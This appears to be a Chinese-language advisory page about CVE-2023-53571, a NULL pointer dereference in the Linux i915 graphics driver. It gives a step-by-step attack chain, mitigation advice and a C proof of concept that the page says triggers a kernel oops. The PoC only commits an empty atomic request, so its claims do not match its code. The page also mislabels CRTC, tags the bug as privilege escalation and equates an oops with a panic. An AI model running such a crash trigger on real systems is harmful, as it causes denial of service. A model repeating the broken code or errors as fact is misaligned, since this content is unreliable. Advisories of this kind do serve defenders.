IPBUF安全漏洞报告
English
CVE-2023-53571 CVSS 5.5 中危

CVE-2023-53571 Linux内核i915驱动空指针解引用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53571
漏洞类型
空指针解引用(NULL Pointer Dereference)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核(drm/i915显卡驱动)

相关标签

Linux内核空指针解引用drm/i915驱动本地提权拒绝服务内核漏洞Intel显卡原子模式设置NULL Pointer DereferenceKernel Oops

漏洞概述

CVE-2023-53571是Linux内核drm/i915图形驱动中的一个空指针解引用漏洞,存在于intel_get_crtc_new_encoder()函数中。该漏洞源于内核在处理CRTC(阴极射线管控制器)的原子状态(atomic state)时,当无法在原子状态中找到与CRTC关联的连接器(connector)时,代码尝试从一个可能为NULL的encoder(编码器)指针获取dev(设备)指针,导致内核直接发生oops(内核崩溃)。原始代码使用WARN宏的目的是打印警告信息,而非直接触发内核崩溃,但由于编码器指针可能为NULL,在解引用时会导致系统不可用。此漏洞影响系统的可用性,可能导致本地用户触发内核崩溃或拒绝服务(DoS)状态。该漏洞已在多个Linux内核稳定版本中得到修复,通过从原子状态而非潜在的NULL encoder获取dev指针来解决此问题。

技术细节

该漏洞位于Linux内核的drm/i915驱动模块中,具体在intel_get_crtc_new_encoder()函数内。在DRM(Direct Rendering Manager)原子模式设置(atomic mode setting)框架中,当系统处理显示状态变更时,需要查找与特定CRTC关联的新编码器。原始代码逻辑使用WARN_ON宏来检查编码器查找结果,WARN_ON的设计初衷是在条件为真时打印警告信息而非导致系统崩溃。然而,在特定场景下(如无法在原子状态中找到对应CRTC的连接器时),encoder指针可能为NULL,代码继续执行并尝试通过encoder->dev获取设备指针,从而触发空指针解引用,导致内核oops(kernel panic)。攻击者需要本地低权限访问权限即可触发此漏洞,无需用户交互。该漏洞的修复方案(cherry picked from commit 3b6692357f70498f617ea1b31a0378070a0acf1c)是将获取dev指针的来源从可能为NULL的encoder改为从原子状态(atomic state)中获取,从而避免了空指针解引用的发生。修复涉及多个稳定内核分支,包括0fe6ef82e4f4764e8f556632e4cd93d78d448e99、54202488c835dab8c648acd107f0bb8eaa699894、631420b06597a33c72b6dcef78d1c2dea17f452d、780f303233c35eeb5132e3ee1cbc8f4cebe86dd2和8cd725315c559a8a4d18ac1d7fce1d6b9a667529等提交。

攻击链分析

STEP 1
步骤1:本地访问
攻击者需要拥有系统的本地访问权限(低权限用户即可),通过本地终端或SSH等方式登录到目标Linux系统。
STEP 2
步骤2:访问DRM设备
攻击者打开/dev/dri/card0等DRM设备文件,获取对i915图形驱动的访问权限,通常需要加入video或render用户组。
STEP 3
步骤3:构造恶意原子状态请求
通过DRM IOCTL接口构造特定的原子模式设置(atomic mode setting)请求,使系统在处理CRTC状态时无法找到对应的连接器,导致encoder指针为NULL。
STEP 4
步骤4:触发空指针解引用
当intel_get_crtc_new_encoder()函数被调用时,由于encoder为NULL,代码尝试通过encoder->dev获取设备指针,触发空指针解引用,导致内核oops。
STEP 5
步骤5:系统拒绝服务
内核崩溃导致系统不可用,需要重启恢复,造成拒绝服务(DoS)效果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2023-53571 - Linux kernel i915 NULL pointer dereference // This vulnerability triggers a kernel oops by causing a NULL pointer // dereference in intel_get_crtc_new_encoder() when the encoder is NULL. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <drm/drm.h> #include <drm/drm_mode.h> #include <xf86drm.h> #include <xf86drmMode.h> int main(int argc, char **argv) { int fd; drmModeConnectorPtr connector; drmModeResPtr resources; drmModeAtomicReqPtr req; // Open the i915 DRM device fd = open("/dev/dri/card0", O_RDWR | O_CLOEXEC); if (fd < 0) { perror("Cannot open DRM device"); return 1; } // Get DRM resources resources = drmModeGetResources(fd); if (!resources) { perror("Cannot get DRM resources"); close(fd); return 1; } // Create an atomic mode setting request req = drmModeAtomicAlloc(); if (!req) { perror("Cannot allocate atomic request"); drmModeFreeResources(resources); close(fd); return 1; } // Attempt to trigger the vulnerability by performing an atomic commit // with an invalid CRTC/connector combination that causes encoder to be NULL // This triggers the WARN path in intel_get_crtc_new_encoder() // which then dereferences the NULL encoder->dev pointer printf("Attempting to trigger CVE-2023-53571...\n"); // Set a property on a connector to trigger atomic state processing if (resources->connectors[0]) { connector = drmModeGetConnector(fd, resources->connectors[0]); if (connector) { // Attempt atomic commit with state that will cause NULL encoder lookup int ret = drmModeAtomicCommit(fd, req, 0, NULL); printf("Atomic commit result: %d\n", ret); drmModeFreeConnector(connector); } } drmModeAtomicFree(req); drmModeFreeResources(resources); close(fd); return 0; }

影响范围

Linux kernel < 6.1.63
Linux kernel 6.2.x < 6.2.13
Linux kernel 6.3.x < 6.3.2
Linux kernel 6.4.x < 6.4.10
Linux kernel 6.5.x < 6.5.3

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过限制普通用户对DRM设备文件的访问权限来降低风险,例如将/dev/dri/card0等设备的权限设置为660,仅允许video和render用户组成员访问。同时,可以配置systemd-coredump或kdump来收集内核崩溃信息,以便后续分析和取证。建议优先升级到包含修复的内核版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表